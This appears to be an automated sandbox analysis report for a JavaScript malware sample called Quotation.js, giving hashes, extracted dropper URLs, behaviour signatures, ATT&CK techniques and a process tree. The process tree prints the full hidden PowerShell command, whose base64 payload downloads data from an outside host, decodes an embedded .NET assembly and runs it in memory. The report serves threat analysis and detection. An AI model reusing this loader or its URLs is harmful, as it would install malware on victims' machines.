e24e143171e5e272dba3f431d969b39a83c0e44bcfa7bb224407c8e685871559

Analysis

max time kernel
149s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/06/2026, 14:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Quotation.js
Size 2.6MB
Sample260622-rexptacy81
SHA256 e24e143171e5e272dba3f431d969b39a83c0e44bcfa7bb224407c8e685871559
MD5 d6d190d524b3147802ba6fa0a6701275
SHA1 1c4e4275c9b62feb960601028ce60bb7227a9ac4
SHA512 770c5749dd6fab9732a55f2292b846b27e7ea1d28a6605825a0aa79f81eb4e76d861b269d117212ad8e250cfbe886e1515441dd6325ea44584f7e0506ae7950c
SSDEEP 768:H3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3I3IN:e
TLSH
T141D513FD66C08A5BD052D2ADA9A2FBD0EF42C81778753F8A39D262D1C068DC5921713F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://icy-lab-0431.guilherme-telecomunicacoes2024.workers.dev/AaZTS
exe.dropper
https://icy-lab-0431.guilherme-telecomunicacoes2024.workers.dev/AaZTS

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	5956	powershell.exe	88

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1068	powershell.exe
3	1068	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1068	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1068	powershell.exe
1068	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1068	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Quotation.js
1⤵
PID:3692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command " & ([scriptblock]::Create( [System.Text.Encoding]::ASCII.GetString( [System.Convert]::FromBase64String( 'JHN0aW5rYmFpdD0naHR0cEA6Ly9pY3ktbGFiLTA0MzEuZ3VpbGhlcm1lLXRlbGVjb211bmljYWNvZUAyMDI0LndvcmtlckAuZGV2L0FhWlRTJy5SZXBsYWNlKCdAJywncycpOw0KJEx1Z2Fuc2s9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50Ow0KJEx1Z2Fuc2suSGVhZGVycy5BZGQoJ1VzZXItQWdlbnQnLCdNb3ppbGxhLzUuMCcpOw0KJGNuZW1pYWw9JEx1Z2Fuc2suRG93bmxvYWREYXRhKCRzdGlua2JhaXQpOw0KJG1ldGFzdHJhdGVneT1bVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjbmVtaWFsKTsNCiRzcGF3bGQ9J0lOLSc7DQokcmhhYmRpdGlmb3JtPSctaW4xJzsNCiR0aHltaWM9JG1ldGFzdHJhdGVneS5JbmRleE9mKCRzcGF3bGQpOw0KJG91dGdhc3NlZD0kbWV0YXN0cmF0ZWd5Lkxhc3RJbmRleE9mKCRyaGFiZGl0aWZvcm0pOw0KaWYoJHRoeW1pYyAtZXEgLTEgLW9yICRvdXRnYXNzZWQgLWVxIC0xKXsNCnJldHVybn0NCjsNCiRwcm9jYW1iaXVtPSR0aHltaWMrJHNwYXdsZC5MZW5ndGg7DQokcHRlcm9icmFuY2hpYT0kbWV0YXN0cmF0ZWd5LlN1YnN0cmluZygkbWV0YXN0cmF0ZWd5LkluZGV4T2YoJHNwYXdsZCkrJHNwYXdsZC5MZW5ndGgsICRvdXRnYXNzZWQtKCRtZXRhc3RyYXRlZ3kuSW5kZXhPZigkc3Bhd2xkKSskc3Bhd2xkLkxlbmd0aCkpOw0KJHByZXNjYW5uaW5nPSRwdGVyb2JyYW5jaGlhLlJlcGxhY2UoJyMnLCdBJykuVG9DaGFyQXJyYXkoKTsNCltBcnJheV06OlJldmVyc2UoJHByZXNjYW5uaW5nKTsNCiRob21vaGVwdGFtZXJpYz0kcHJlc2Nhbm5pbmcgLWpvaW4gJyc7DQpbYnl0ZVtdXSRoZXJkc21lbj1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhvbW9oZXB0YW1lcmljKTsNCiR6eWdvYnJhbmNoaWF0YT1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5Mb2FkKCRoZXJkc21lbik7DQokTWlzc291cmk9QCgnaHR0cHM6Ly9hbnlpb2JhLmxvdmVzdG9ibG9nLmNvbS9pbWdfMTk0NDQyLnBuZycsJzAnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJzhXRXJCVXk3VDAnLCdDYXNwb2wnLCcnLCdDYXNwb2wnLCcwJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCc4V0VyQlV5N1QwJywnanMnLCcxJywnMCcsJ2dXOXhndXdWUXYnLCcwJywnJywnJywnJyk7DQp0cnl7DQokcG9seWdvbmF0aW9uPSR6eWdvYnJhbmNoaWF0YS5HZXRUeXBlKCdGaWJlci5Qcm9ncmFtJyk7DQokZXJyb3JsZXNzPSRwb2x5Z29uYXRpb24uR2V0TWV0aG9kKCdNYWluJyk7DQokZXJyb3JsZXNzLkludm9rZSgkbnVsbCxbb2JqZWN0W11dJE1pc3NvdXJpKX0NCmNhdGNoew0KfQ0K' ) ) )) "
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1068

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1068-0-0x00007FFE1B45F000-0x00007FFE1B460000-memory.dmp

Download

memory/1068-3-0x0000024337F30000-0x0000024337F52000-memory.dmp

Download

memory/1068-4-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-5-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-6-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-7-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-8-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-9-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-10-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-11-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-12-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-14-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-13-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-16-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-17-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-18-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download

memory/1068-20-0x00007FFE1B2D0000-0x00007FFE1BC74000-memory.dmp

Download